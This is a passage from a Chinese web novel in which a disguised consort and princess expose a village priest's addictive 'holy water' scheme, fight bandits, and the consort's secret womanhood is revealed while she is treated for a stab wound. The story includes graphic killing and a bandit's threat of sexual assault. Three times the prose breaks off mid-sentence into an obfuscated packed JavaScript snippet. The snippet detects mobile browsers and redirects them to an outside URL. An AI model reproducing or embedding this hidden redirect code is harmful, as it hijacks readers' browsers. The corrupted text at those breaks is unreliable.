小庙自然是装不下这么多人,大祭司和周大福并几个年轻力壮的后生进去了,余下的村人只站在庙门口观礼。 韩濯他们靠得较后,隔着窸窸窣窣的人群看大祭司叨叨咕咕了一阵,他面前摆着一口大鼎,被四面八方延伸出的红绳缚住,也不知要招谁的魂,他念的哪门子经韩濯也没太听懂,左右不过是一些乱七八糟的鬼话,村人有几个已经难受得跪伏于地。韩濯按住了急得不行的周仁,沉下心静观其变。 大祭司停了下来,对周大福说了什么,周大福听罢,趾高气扬对其中一个冒着冷汗的村人喊道:“大祭司教你上前来。” 那村人眼神发直,依言上前,他双腿发软,走上台阶时还踉跄了一下。 大祭司在鼎中舀了一碗“圣水”,递给村人,那人自始至终直勾勾盯着那鼎,此时终于遂愿,来不及道谢,捧着碗一饮而尽,小半由于双手颤抖而洒在衣襟上。 一碗圣水下肚,他很快止住了颤抖,舒服地发出一声喟叹,脸上的表情变成了一种如坠仙梦幻境一般的迷离。 余下的村人等不及了,他们或走或爬,试图挤进去喝一口圣水,可惜力气早就在刚才的一番发作里几乎耗尽,被门口的几个后生拦住了。 周大福得意地发话:“大祭司宅心仁厚,消耗自己的法力去救你们,你们可要听话,一个一个来,不经大祭司的手,喝了可是没用的。” “是么?”大祭司发出一声轻笑。 众人皆是一惊。 大祭司嘴里发出的,竟然是少年的声音,确切的来说,是…… “阿信!” 周仁失声叫道,方才担忧了一路阿信会不会被周大福他们抓住的心放下来,却又很快高高悬起。 众目睽睽之下,“大祭司”浑身格格响了几下,如春笋般长了一截。他的手向脸上抓去,层层乌黑褶皱的面皮被剥落下来,露出一张雪白的面孔,正是阿信。 周大福惊愕,片刻回神,熊熊怒火烧上心头,伸手向阿信抓去:“小兔崽子,大祭司呢?你把大祭司怎么样了?你在灵王面前不敬,可是要有报应的。” 阿信轻轻一闪,嘴中嘻嘻笑道:“大祭司?我就是大祭司啊,你不是说圣水经过我的手才有用么,现在圣水起效了,你又翻脸不认人?” 周仁急着要挤上前去,韩濯想起阿信临行前的嘱咐,很快把周仁拉回来:“别急,现在上去说不定会给他添乱。” 众村人在庙外神志恍惚,搞不清楚状况,阿信格格笑着,大声喊道:“我已经将法力全数施在水中,现在周大福却要独占了,你们快快来抢啊!” 听了这话,人群一阵骚动,大多数犹豫不定起来,几个早就忍得满眼血丝的村人方才眼睁睁看着圣水奏效,终于忍耐不住,大吼一声,如猿猱一般四肢着地翻爬过来,在他们的引领下,众人如一团人肉组成的潮水涌了进去,在强烈的欲望和恐惧的催使才爆发出惊人的力量,那零星几个后生如何挡得住? 他们拨开红线,将其扯得七零八落,捧起鼎中的水就送入口中,接着前面的人被后面的人扯开滚到一旁,有的人心急如焚,竟红着眼直接将头伸进鼎中吮吸,姿态各异,前赴后继着丑态百出。 昔日神圣的祭典,竟然成了如此闹剧。 周大福和阿信纠缠良久未占上风,心头气极,一边步步紧逼,一边大声喊道:“简直是大不敬,你们就不怕遭天谴吗!” 可现在没有人听他说话,阿信笑着后退,摸到了无头神像前的香炉,狠狠一转。 周大福脚下的石砖突然向下塌陷,他“啊”地一声大叫,下一秒已经头朝下脚朝上被挂在了房梁上。 韩濯目瞪口呆,她都没来得及看清这机关是怎么运作的。 “真是天才……”韩濯喃喃道。 宋青瑛拉了她一下:“我们要不要帮忙?” “先别。”韩濯道:“谁知道还有没有机关,我们进去搅了他计划怎么办?” 宋青瑛其实也不是想帮阿信,只是看周仁急得抓耳挠腮团团转,有些不忍心。 周大福怀里的东西噼里啪啦掉了一堆,其中还有韩濯的钱袋子,宋青瑛眼睛一亮,心道:“一会儿准可以拿走了,不必李三三去偷。” “怎么样啊周伯伯?”阿信还是笑嘻嘻:“不过年也不过节,我请你吃腊肉,够不够意思?” 腊肉周大福气得在房梁上乱晃,他被吊得头昏眼花,此时面色充血如猪肝,仍不忘忠心大叫:“大祭司被你搞到哪里去了?” 阿信微微一笑,伸手一转神像旁的供盘,那无头神像从中间缓缓分开。 这神像竟然是中空的!而里面的东西赫然是真正的大祭司。 真大祭司嘴中塞了满满的稻草破布,只能干瞪着眼喘气,他已经很老了,身材肥胖如蛙,被阿信把一身的行头剥下来,一点也没了神神叨叨唬人的气势,看上去就是个普通的肥得流油的糟老头。 那几名年轻后生要上前去,一发羽箭破空而来,直直钉在了他们双脚之前。 “谁敢上前一步!” 韩濯离他们尚在几丈外,厉声喝道,她指间墨玉扳指闪着冷光,手中弓弦犹在震颤。 周大福哇哇乱叫,被阿信一脚踢老实了几分,阿信大声叫道:“你们可喝足了?” 鼎中的圣水已经空了一大半。村民们都虚软地或躺或伏,神色餍足。 “你们可知道,你们之所以隔一段时间遭一场大罪,不是什么灵王降罪,是这位大祭司和他的狗腿子制出这种让人成瘾的药来控制你们!” 村人们尚在快感的余韵中,反应迟钝地抬头。 “你们若不和我一起除了他们,便会被这些东西纠缠一辈子。”阿信继续道,他从袖中取出一方小匣,双手奉上,对行至门口的韩濯道:“请驸马爷向圣人陈情,为我们申冤!” 众人倒吸一口凉气,纷纷看向韩濯。 “驸马?” 这些人大概也没想到传闻中出身贵重文武双全的状元驸马会在这种犄角旮旯的小地方下榻,被吊着的周大福也傻了,任由绳子不断缓缓打转,像个快要停下来的陀螺。 韩濯站在庙门口,内心苦涩,感情是阿信之前在庙里扮鬼时听见了只言片语知道了他们身份,可惜他不知道自己刚被赶出京城,别说圣人了,现在她只是个未上任的从八品芝麻绿豆散官,报给太守都够呛。 不过目前这个情况,需要她装叉,她只好装作闲庭信步走上前去,伸手接过木匣:“定不负嘱托。” 周大福叫起来,只是不断翻面,一会儿脸朝着人,一会儿腚朝着人,分外滑稽:“妖言惑众,妖言惑众!我早就看出不对了,你从哪联合的这小白脸儿,愚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真的么……”一个女人拉住了韩濯的袍角:“救救我们,太痛苦了,我不想再来一遭,我的孩子刚三个月,吃了我的奶一直抽搐一直哭……” 韩濯看着她充满希冀的脸,卡壳了,她不忍心骗她,更不忍心告诉她真相,善意的谎言刚要出口,就被周大福的叫喊打断了。 “你们还不知道吧,她根本回不了京!还陪公主修行?她早就被圣人贬谪了,贬谪到那鸟不拉屎的灌州去了,这辈子都不一定能再见天颜,你们还是莫要指望她!” 韩濯心里一紧,见周大福满脸是血,嘿嘿笑道:“怎么样,驸马,这地方虽小,可离西京城却也没有多远啊……” 短短半个月,她的事已经传到汉中了。 见韩濯愣住,那妇人急得大叫:“您说句话啊!” 周大福大喊:“杀了他们,一个不留,阿信那小子和这几位‘贵人’决不能活着出村,否则没有圣水,我看你们有几个能坚持住不自戕!” 那几个年轻后生先动了,方才拦着他们几个的李三三和吴钩拔出刀,和这些人对峙。 那拉着韩濯的女人的手,被她身边的丈夫生生拽开,韩濯引弓搭箭,那周大福反应极快,急忙喊道:“杀了她!不能让她出了村,她要是伤了我,谁给你们圣水?” 不好! 村人们全都转向了韩濯,李三三见势不妙,转手一把香灰塞进了周大福嘴里,可没来得及,他的话已经叫出来了一半:“她和身边那小丫头的头,谁拿到了赏银十两……唔呸呸呸……” 李三三这么一分神,那些后生大吼一声攻了过来,李三三和吴钩立时专心招架。而村人们纷纷转向韩濯和宋青瑛,不知谁一声大吼开了先河,一群人虎视眈眈朝二人冲过来。 韩濯不想杀人,她拉起宋青瑛就跑,大声喊道:“吴钩李三三,阿信和周仁老伯拜托你们了!” 韩宋二人几步越出庙门,看那些村人如同潮水大喊着杀过来,她把宋青瑛甩上马鞍,随后纵身一跃,稳稳落在了马背上,一夹马肚,骏马发出一声长嘶,奋蹄扬尘而去,眼看着就要把这些村人甩在身后。 这时一阵哨音如同鬼啸,穿透层峦密林从庙中透出来,韩濯猛地回头,见被塞进泥塑神像的大祭司不知何时摆脱了嘴中束缚,口中衔着一个黑色的哨子,笑容诡异。 韩濯觉得要糟,但仍不敢回头,沿着山路一路飞奔,可很快她就知道这哨子是做什么用的了。 两边的山崖隐隐振动,黑暗中不知有多少人从山上席卷下来,杀声震天。 竟然是山匪! 25. 碧血寒刃 韩濯心跳如擂鼓,内伤牵动着肺腑又隐隐疼痛起来,火光映照下,一个山匪大叫着提刀砍去,韩濯狠命一拉缰绳,骏马一声长嘶,从那人头顶越过,踢中了他的脑袋,山匪瞬间倒地,昏死过去。 韩濯不敢懈怠,拼命地策马疾奔,宋青瑛脸都吓白了,只能死死抓着韩濯的腰间布料。 韩濯有心宽慰两句,但实在腾不出空来,直行到灵山村口,眼看着就要把这群山匪甩开。宋青瑛眼尖,蓦然发现黑暗中埋伏着的东西。 “小心!” 他说晚了,马在疾奔中被绊马索绊倒,几乎飞了出去,韩濯和宋青瑛惊叫一声,滚下马来。 韩濯摔下来时紧紧护住了宋青瑛的身体,二人在地上滚了几圈,正滚在祭坛旁,摔得韩濯眼前几乎有金星乱晃,她来不及休整处理,拉起宋青瑛要逃,站起身时却发现早已被团团围住。 她将宋青瑛护在身后,扫了一眼身后,有了主意,她长刀出鞘,挑起祭坛边的几个酒坛甩向地面,“哗啦”几声,瞬间酒香四溢。 她点着火折子,厉声道:“谁敢上前!我也不怕拼个鱼死网破。” 众山匪面面相觑,听韩濯道:“这深山老林,烧起来可就是连着一大片,你们掂量掂量划算不划算!” 这些山匪和灵山村祭司勾结已久,一方凶悍一方狠毒。一开始还只是合作关系,可山匪新首领上了任,任由他们只知享乐,“收成”好时,声色犬马的生活过腻了,总要来点桃源醉来寻些刺激,久而久之,命脉便被控制在了灵山村手上,自然听凭大祭司差遣。 可他们毕竟不是灵山村人,帮人做事而已,不会过于拼命,灵山村舍不得这把烫手的利器,自然也不会轻易和他们撕破脸,因此谈判未必没用。 宋青瑛从韩濯身后挣着出来,和韩濯并肩而立,声音不大却十分清晰:“大祭司中了毒,已经命不久矣,你们再给他卖命不值当。” 韩濯看他一本正经胡诌,微微惊讶,眼睛扫过他抓紧衣摆的手才发现他其实抖得厉害。 宋青瑛面上脸不红心不跳:“他那桃源醉没有什么稀奇,我们随行的医师就会酿,其中乾坤,不过是用了几种灵山村的草药罢了,你们等大祭司死了,把那些残党一锅端,难道不是更好?” 群匪窃窃私语起来,原本握紧武器的手也松懈了几分,一个眼乌珠分得很开的瘦小山匪凑到一人跟前道:“大哥,他说得好像有道理啊。” 被他称为“大哥”的那位身材魁梧,面色焦黄,显然是头目,他“哼”了一声,低声骂道:“他说啥你都信?蠢货!” 那斜眼仔悻悻退后了,黄脸头目以刀拄地,说道:“我凭什么信你这小娘儿们?” 韩濯听他言语轻佻,怒火燃上心头,宋青瑛却不卑不亢道:“周大福早就被我们的人打得半死,大祭司也被喂下了毒药,信我一次,于你也没什么损失,我跟着你们回去,见了大祭司和我们医师,你就知道我说得对不对了。” “阿瑛!”韩濯被他的莽劲儿唬了一跳,果然长宁公主绝非池中物,平日里温温吞吞吱一声都难,到了关键时候闹出的动静比谁都大,谁教他冒这种险的? 宋青瑛却宽慰地朝她笑笑,走上前去:“我跟你们走,如何?” “我跟你们走,若是灵山村大祭司没事,你能给他们个交代,若是有事,那岂不是皆大欢喜?” “慢着!”韩濯赶紧拦住他,道:“人质换我!” 金枝玉叶要是有个闪失那她就完蛋了! “你当老子傻?”头领道:“你们两个都给我过来,你!把刀放下!” 韩濯心里一紧,这刀不能放,若放下就真是任人宰割了。 “老子说放下!” 就在这千钧一发之时,一支羽箭“嗖”地略过,头领唬了一跳,向前扑去,那箭正中斜眼仔的脖颈,一串血花迸射出来,当场毙命。 不知从哪冒出来了一波头戴红巾的人,或背箭或负刀,从山上逼下来,很快和外层的众匪缠斗在一起。 众匪一阵哗然,皆是措手不及,韩濯和宋青瑛仍是一脸懵,下一秒,方才扑到前方的头目一个箭步单手把宋青瑛拽了过去。 “阿瑛!”韩濯欲抽刀救人,那头目却将大掌掐在了宋青瑛的脖子上,一把提了起来。 “你们两个敢阴我!”黄脸头目咬牙切齿:“我说你们磨蹭半天干什么,原来是为这群红巾贼拖延时间!” “我们不认得什么红巾贼!”韩濯急道:“这必定有误会,快把他放下!我们好好说话。” 感情螳螂捕蝉黄雀在后,他们正撞上了两波山匪火并,不知该说是幸运还是倒霉。 黄脸头目躲过一支飞过来的羽箭,那箭尖擦着宋青瑛的脸划过,吓得韩濯心惊肉跳。 黄脸破口大骂:“都打成这样了,好好说话个球!兄弟们,杀了这小白脸!他死了也不妨碍我们解决灵山村那些老狗!” 红巾贼似乎不多,黄脸心里掂量了一下,感觉十分有把握,便也稍微放下了心。 宋青瑛被黄脸单只胳膊架在半空,慌得胡乱踢蹬,他虽有些拳脚,但一方面被人抢了先机,另一方面自小营养不良,现在还没长开,对付起这壮得像山的黄脸简直是蜉蚍撼树,黄脸虽然觉得这漂亮“小丫头”滑不溜手,但看他却仿佛看抓人的猫,被打到实处也觉得心花怒放。 “小美人儿,你乖乖听大爷的话,我保你穿金戴银吃香喝辣,不然……” 黄脸提高个声音,一半是说给韩濯听的,道:“先女/干后杀!” 韩濯同时对付着三个扑上来的山匪,正是此刻这群贼寇还要对付红巾贼,分不出太多人手围攻她,才给了韩濯一线生机,韩濯刚用佩刀架开将要砍在身上的刀,听了这话心里一抖,没提防被一个山贼划破了袖口。 宋青瑛心急如焚,一口咬住了黄脸的胳膊,没咬动,反而牙齿硌得生疼,黄脸哈哈大笑,道:“小美人儿,你还是省省力气吧,跟了大爷我不好么?让我教教你……” 说着,他用长了一口黄牙的嘴贴近了宋青瑛的脸,道:“选男人,不能光看脸,你这小情人儿中看不中用,不如试一次大爷我,保管你得了爽处让你走都不想走!” 宋青瑛虽做了这么久假女人,但还是第一回被人用这种下流语气挑逗,他心里气极,竟然起了杀之而后快的心思,随后他一眼撇到了这山贼腰间挂着的短刀,立刻有了主意。 韩濯这边还在与三人周旋,这些歹徒大多武艺平平。但韩濯每次欲下死手,却总是跨不过心里那道槛,再加上之前受了内伤,每次动作都牵动着钝痛,竟然被他们纠缠许久。 宋青瑛似乎是终于挣扎累了,乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787518|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺地被黄脸揽在了怀里,韩濯见了,心疼和怒意一并烧了上来。转眼间,和三人缠斗的好像换了一个人,招招凌厉,与之缠斗的山匪对上韩濯通红的眼睛,“啊呀”唬了一跳。 “想死的留下!”韩濯刀尖一挑,卸了最近的山匪手中武器。 红巾贼似乎寡不敌众,刀枪的声音逐渐稀疏起来,黄脸洋洋得意,更加肆无忌惮地摆弄起宋青瑛来。 他似乎觉得美人终于变乖了,笑嘻嘻地低头去嗅宋青瑛白腻的脖颈,另一只手揉上了啥也没有的前胸。 韩濯的脸彻底青了,热血冲上了天灵盖,心里有什么弦“啪”地一下断了,下一秒,她的刀划过了面前山贼的喉咙。 那山贼一声不响地倒下了。 温热的血溅了她半脸。她没有停下,飞身一踢将见势不妙要逃走的山贼踹倒在地,与此同时挑飞了最后一位的兵器,刀刃一送,又结果了一人性命。 她就着这股热血,把那向前爬行的倒霉蛋踩在脚下,丝毫不理他的求饶,一刀毙命。 她的双手第一次沾了血。 意识到自己的手不受控制地发抖,她狠狠攥住了饮过血的佩刀,如同握着能活下来的唯一倚靠。她突然意识到,自己可称得上锦绣堆的京城公子的前半生宣告结束。而与此同时,她最大的忧虑不过是考试和生活费的现代大学生活,已经彻底离她远去,不容回头。 见她顷刻间杀掉三人,黄脸对上她通红的眼,觉得看见了一头暴怒的狼,突然忐忑起来,不敢再对宋青瑛做什么,也拿捏不准自己对上这小白脸有几分胜算,便又捏紧了宋青瑛,道:“识相的就投降,我饶这小美人儿一条命,啊!” 宋青瑛终于等到了时机,他腰间的短刀彻底露了出来,被宋青瑛一把抽出,狠狠刺向他胸前。 “锵”地一声,短刀触到了某种坚硬的物事,“不好!”宋青瑛内心叫糟,这人竟然戴了护心甲。 黄脸彻底暴怒:“你这小贱货,我撕……” “噗!” 他说不下去了,一支羽箭穿过他的太阳穴,把这斗大的脑袋捅了个对穿,另一边,韩濯目光冷冽,手中弓弦染上热血,被她轻轻擦去。 那把弓她一直背在身上,正是老英武侯留给她的那一把。 万事只要开了个口子,便一发不可收拾,杀人这件事也一样。 见首领已死,没人敢再上前触韩濯的霉头,士气全无,想逃却被外面围得越来越多的红巾贼拦住。 “阿瑛!”韩濯三步两步跑过去,把跌落在地的宋青瑛扶起:“你要不要紧,要不要紧?” “没事,我没事,这血是谁的?你的伤怎么样……”宋青瑛捧起她的脸,语无伦次地替她擦去血迹。 刀光剑影中,这二人竟然旁若无人地抱在了一处,韩濯心跳稍定,一阵后怕,半跪下来道:“是臣的不是,让殿下遇险,受这等折辱……” 宋青瑛一边拉她,一边擦眼泪:“你快起来,快起来,我……” “唔!”韩濯突然浑身一颤,面部扭曲,没支撑住跪在了地下,宋青瑛的心跳停了一拍,目眦欲裂,韩濯身后,那被串成一串的黄脸头目露出阴阴谋得逞的笑容。 “给我陪葬……”他嘿嘿地低低笑了两声,一偏头,彻底死透了。 那把短刀,则插在了韩濯侧腰。 26. 雨夜陈情 宋青瑛的大脑一瞬间空白,周围的刀剑声,喊叫声都模糊起来,好像隔了一个世纪那么远,耳内针扎一样啸叫,他好像突然什么都看不见了,只能跪下来,无措地去摸韩濯的脸。 他的手被握住了。拇指上的红痣烫得他一哆嗦。 “我还没事……撑得住……” 宋青瑛突然又能看见了,他喘了几口气,见韩濯挣扎着借着刀站起来,顺便砍了一个试图趁人之危的山匪。 “走!” 宋青瑛被韩濯护在怀里奔跑,他的眼睛被韩濯死死捂住,只能听见刀刃相碰撞的声音,他一边跑,一边控制不住地淌下泪水。嘴唇张了张,却说不出话来。 他不知道韩濯现在怎么样,唯一能确认的就是她的心脏还在跳动,他的心要被扯烂了,那往韩濯身上招呼的刀剑都实打实地砍在了他心口,戳得稀烂,流下咸津津的血来。 他从来没有像今天这样恨过自己。 韩濯带着宋青瑛冲了出去,她眼前一阵阵发黑,左腰的疼痛似乎和自己的感官剥离了,好像灵魂已置身事外看着自己困兽犹斗。她知道这是肾上腺素暂时的作用,但她不敢往深处想。 前方密密麻麻拦着路的山匪被切瓜砍菜一般砍翻,有几个根本无意拦路的倒霉蛋没来得及叫出声就被一刀封喉,惊呼被抛在身后,热血糊满了韩濯的视线,她彻底杀红了眼。 喉咙间涌起腥甜的气息,肺腑疼痛,她却只觉得痛快,似乎解开了封印一般,要把余下的寿数在今晚燃尽。 这是韩家人的本性,还是她韩濯的本性?如今她不再执着分清。 前方似乎不再有阻碍,她仍提刀揽着宋青瑛疾奔,不敢停歇。 过了有多久呢? 她不记得了,她奔跑的速度渐渐慢下来,怀中宋青瑛带着哭腔叫她,韩濯终于脱了力,面朝下跌倒在满是泥泞的路上,似乎再也不会醒来。 …… 有冰凉的东西砸在她的脸上。 “我还没死么?”韩濯想道。 她在缓慢的移动。 “一任风霜刮醉骨,…重添新酒轻浮屠…… 是宋青瑛的声音。 她微微清醒过来,身下的触感是柔软的,随后左腰的疼痛铺天盖地传来,灼烧一样刺激着神经,短刃还埋在血肉之中,冻得人哆嗦。 她呻吟了一声,身下的柔软似乎突然僵住了。 “你忍一忍,我们找个地方,千万撑住了,求求你……” “阿瑛……” “别说话!” 这声音带着哭腔,一半是担心,一半是累哭的。 他其实背着韩濯走了很久,韩濯比他长了些年岁,也高了一大截,宋青瑛全靠着一点信念撑着,可是顾忌着山匪会追上来,不敢懈怠,小腿灌了铅,气管充了血,仍只能咬牙坚持。为了转移注意力,他已将韩濯写的诗文从头到尾默念了一遍,被压得眼前发黑,走了四五里,终于难以为继。 雨稀稀拉拉落下来,他不敢停下,只能背着韩濯一点一点匍匐爬行,他不能多想,自己身上的韩濯说不定不知什么时候就成了一具死人,光是这种念头一出现,他就要发疯。 韩濯又没声音了。 雨势越来越大,再这样下去,伤口被雨水泡过,鬼神难医,必须要找个地方避雨才行。 宋青瑛咬住了嘴唇,眼泪无声滚落下来。 突然“嘚嘚”的声音传来,宋青瑛心跳停了一拍,随即空白了一瞬的脑子飞快转动起来,他爬起来,拖着人事不知的韩濯躲进了路旁的草木中。 声音越来越近。 宋青瑛握紧匕首,屏住了呼吸。 “嘚嘚,嘚嘚……” 随着来者在路口出现,宋青瑛握着匕首的手骤然松了下来。 是小灰驴死鬼,不知它的主人如何了,但它一路从灵王庙跑过来,竟是毫发未伤。 “呱——” 宋青瑛吹响了韩濯送的青蛙哨。 韩濯在一阵颠簸中醒来,宋青瑛正砍下把她捆在小灰驴背上的枝条,将她挪到了山洞内。 宋青瑛已经在洞内生了火,这山洞不小,容得下两人一驴,韩濯张了张嘴,却没力气再说话了。 宋青瑛想让她躺得舒服点,把她安置在了一块相对平坦的石头上,雨势好急,水汽侵袭到山洞内,韩濯嘴唇发白,冷得打颤。宋青瑛无法,只得把她向火堆旁移了移,握紧了她的双手。 好像在握一个死人。 宋青瑛有些慌,问道:“清之,清之,你听得到我说话么?” 韩濯嘴唇动了动。 “什么?” “拔…拔了”韩濯喃喃。 宋青瑛傻了:“拔,拔什么?” 韩濯没力气和他解释,垂下了头。 宋青瑛当然知道,这短刀不能不拔,可是万一拔了,韩濯当场死于非命怎么办,他不敢赌。 韩濯手指动了动,意图让宋青瑛松手,宋青瑛强行镇定下来,仔细分辨韩濯在说什么。 “衣服……解了…里面有……能用” 宋青瑛抹了一把脸,听懂了一半,他小心地把伤口处的衣料裁开,解开了韩濯的衣袍。 最后一层里衣除去,宋青瑛如遭雷击。 他彻底懂韩濯方才是什么意思了。 一层又一层的布料紧紧束缚着韩濯的胸膛,随着韩濯略显急促的呼吸上下起伏,那属于女性的特征没有完全藏匿住,在束胸上方隐隐可见。 “什…什么……”宋青瑛片刻才找到自己的声音。 “臣…犯了欺君大罪……”韩濯眼睛直了,双手痉挛了一下,撑住一口气道:“并非有意瞒骗殿下,请殿下……” “你别说了,别说了!”宋青瑛吓死了,脑子被一堆东西糊住,完全理不明白。可是乱七八糟的东西在脑子里过了一遍,他飞速找到了目前的关键:“清之,别管这个,怎么办,我现在怎么办?” “难为你……”韩濯烤着火,暖和起来,微微清醒了些:“把刀拔了,用带子包好...不能这么继续插在身上……” 那短刃入了寸余,不知道有没有伤及脏器,可是宋青瑛不敢,心脏狂跳:“不,不行……我下不去手……” “刚才还那么狠…敢拔刀就往匪首身上招呼……”韩濯苦笑。 “不一样,清之,不一样……” 宋青瑛抓着韩濯的右手,不停发抖。 “那殿下闭眼……” 像往常一样,韩濯又捂住了宋青瑛的双眼。 宋青瑛被她唬住了,以为她是要自己闭着眼睛拔刀,刚定下神,他就听见了铁器与血肉摩擦的声音。 “唔——啊!” 宋青瑛愣了。 黑暗中的触感更加清晰,有什么温热的液体溅在了自己的脸上。 是韩濯的血。 韩濯再捂不住他的眼睛,右手垂下来,身体像搁浅的鱼一样抽搐了一下。 “当啷”一声,短刀从她的左手滑落,那腰间的伤口仍不断涌出血来。 她竟是自己提着一口气,把刀拔了出来。 宋青瑛悔极,简直想以头抢地。可眼下止血才是正事,他不想去解韩濯的束胸带子,可是自己和韩濯的衣袍已经浑身沾满潮乎乎的泥土,哪能包扎? 他哆嗦着紧紧按住了韩濯腰伤周围,以减缓血液流速,韩濯喊了一声,痛晕了过去。 是晕了,不是死了,宋青瑛不希望是第二种可能,干脆不想。 他眼泪流了满腮,三两下解了极长的束胸带,裁成两段预备包扎,又将刀擦了,在火上烧了烧,狠下心去剔除挂在伤口周围的烂肉来。这一套动作下来只在瞬息之间,长宁公主哭归哭,一点没耽误救人。 宋青瑛把刀子烧热,鼻涕一把泪一把地把烧热的刀背按在狰狞的伤口上止血,韩濯硬生生痛醒了,叫喊着挣扎,宋青瑛不知道哪里的力气把她按住了,一面哭一面崩溃大喊:“你先别醒!” 不知道是疼得还是气得,韩濯很快又晕了。 韩濯再醒来时,天际已微微发白,她的血已经止住,剩下的半截束胸带也重新好好裹上了,但是帮她的人不敢用力,只是轻轻缠上打了个结,周身衣物也重新披好。应该是听见了动静,背对着她的人回头。看见韩濯终于睁眼,宋青瑛惊喜地扑到近前。 “清之,你怎么样?” “水......”韩濯喃喃。 宋青瑛抹了抹因泪痕而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795119|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧绷的脸,吸吸鼻子,拿树叶引了些雨水来喂给她。 韩濯润了润嗓子,突然不知道该怎么面对长宁公主。 拖延的问题不会消失,总有一天要重新清算。 “死鬼呢?”韩濯问道。 宋青瑛帮韩濯擦了擦流到唇角的水:“你一天没吃东西,我怕你醒来饿,就......” 没等他说完,韩濯吓得一激灵:“你把死鬼宰了!?” 这一下牵动了伤口,韩濯疼得呲牙咧嘴,宋青瑛赶紧安抚:“没有,本来要,结果它好像发现我要干什么,没等我拿刀就跑了......现在只有这个。” 韩濯嘴里被塞了一串果子,她条件反射咬下,被酸得皱起了眉。 “我只能找到这个了。” 韩濯看了看宋青瑛的表情,最终还是不动声色咽了下去,沉默片刻,她缓过来又一阵眩晕,突然觉得荒谬,轻轻笑道:“殿下昨夜拔刀都不敢,今日...怎么就敢杀驴了?” 宋青瑛不敢让韩濯多说话,又怕她像死人一样不说一句话,纠结片刻,他道:“我什么也没杀过,但是我现在不怕杀人,也不怕杀驴,什么也不怕,我只怕你死......只要你别死......” 他又说不下去了,有些哽咽,但是没再流眼泪。 他好像心里难过得要命,垂下了头,把脸颊贴在了韩濯冰凉的手掌心,寻求慰籍一般轻轻蹭了蹭。 “你疼不疼?” 疼得要命,这辈子没这么疼过。 韩濯终于摸到了公主殿下的脸,果然手感良好,像糯米团子。 “殿下…”宋青瑛抬头。 “您不怪臣么……臣犯了大罪,若是圣上得知,一百条命也不够…” 宋青瑛这么伏着身子难受,干脆侧躺在了韩濯身边:“他不会知道的,我也不在乎,你是男是女,是姓热还是姓寒都无所谓,我只知道你当初救过我,我一辈子都感念……” 韩濯被他说得心口发热,缓缓闭了一会儿眼睛。 驸马是个女人,宋青瑛此刻,才真正在生死攸关的挣扎后反应过来这个事实,他看着韩濯的侧脸,心里有一根酸涩的弦,一跳一跳地扯着疼。 驸马其实年纪也还小,未及加冠,脸上还带着一点稚气,但她成名太早,平日里又行事果决思虑周全,对自己下意识地回护,常常让人忘记她还是个刚刚入仕的半大孩子。 韩濯眼下一片青黑,她又缓缓睁了眼,偏头看着宋青瑛,他眼睛一眨不眨盯着自己,原来雪白的小脸沾上了血水与泥水,眉间夺目的红痣也被黑涂涂的泥点子盖住了,头发凌乱,神色凄惶,要多可怜有多可怜。 “殿下,臣真后悔,把你带出京受罪,当初…我也不该与殿下闹脾气,让你伤心…殿下这样的金枝玉叶,合该……” “清之,求求你别说了,我不是金枝玉叶。” 宋青瑛惶恐着,拉住韩濯的手:“我当初不是闹脾气,也不是舍不得京城,我是觉得对不住你。清之,如果我当初不和李三三把你搅进去,你就不会被贬官出京,是我害了你。” 韩濯自认识他起,就没听过他一股脑说这么多话,有些发愣,宋青瑛又颤抖着道:“我是不知道怎么面对你,不知道拿什么待你,你对我那样好,一定不会怪我,但我承担不起,清之,你的好我没办法心安理得,我骗了你……” “傻殿下,别哭……”韩濯眼前有点模糊,听着哭腔下意识给宋青瑛擦眼泪。 “我没有哭,清之,我骗了你……” 什么? 她听见宋青瑛的声音从很遥远的地方传来,说的什么,她没听清。 我是快死了吧……韩濯想道。 她又没声音了,宋青瑛摸上韩濯的额头,触手滚烫。 怎么办,怎么办? 他一骨碌爬起来,看着彻底亮起来的天。 对,找人!先找人! 清晨路上,一个骑着青牛的女人正背着竹篓采药,雨后晴空如洗,天高云低,她忍不住开始哼起小曲儿。 突然从路边滚过来一个浑身脏兮兮的少女来,见了女人如同见了救兵,眼睛瞬间亮了起来。 “救人!求求大姐,救救我官人……” 27. 吾宁爱憎 “叮铃,叮铃…” 是什么在响? 韩濯觉得清爽的风拂过自己的脸,耳边似乎有清亮的泉水一般叮咚流泄。 好像谁在一勺一勺把药喂进自己口中,韩濯条件反射吞咽了下去,那人惊喜地叫着什么,袖子拂过自己的脸颊,带来很熟悉的白檀香味。 韩濯睁开了眼。 木窗上悬着黄铜风铃,日色已渐暮,从窗外看去,缇霞满天。 她正躺在一张木床上,身上的灰土和血迹被擦得干干净净,伤口仍然一跳一跳地疼,虽然浑身酸痛,好在意识称得上清醒。 衣服也被换过了,不过…是女式的。 “清之!” 宋青瑛惊喜地叫道,把手中半碗没喂完的汤药放下,去探她的额头。 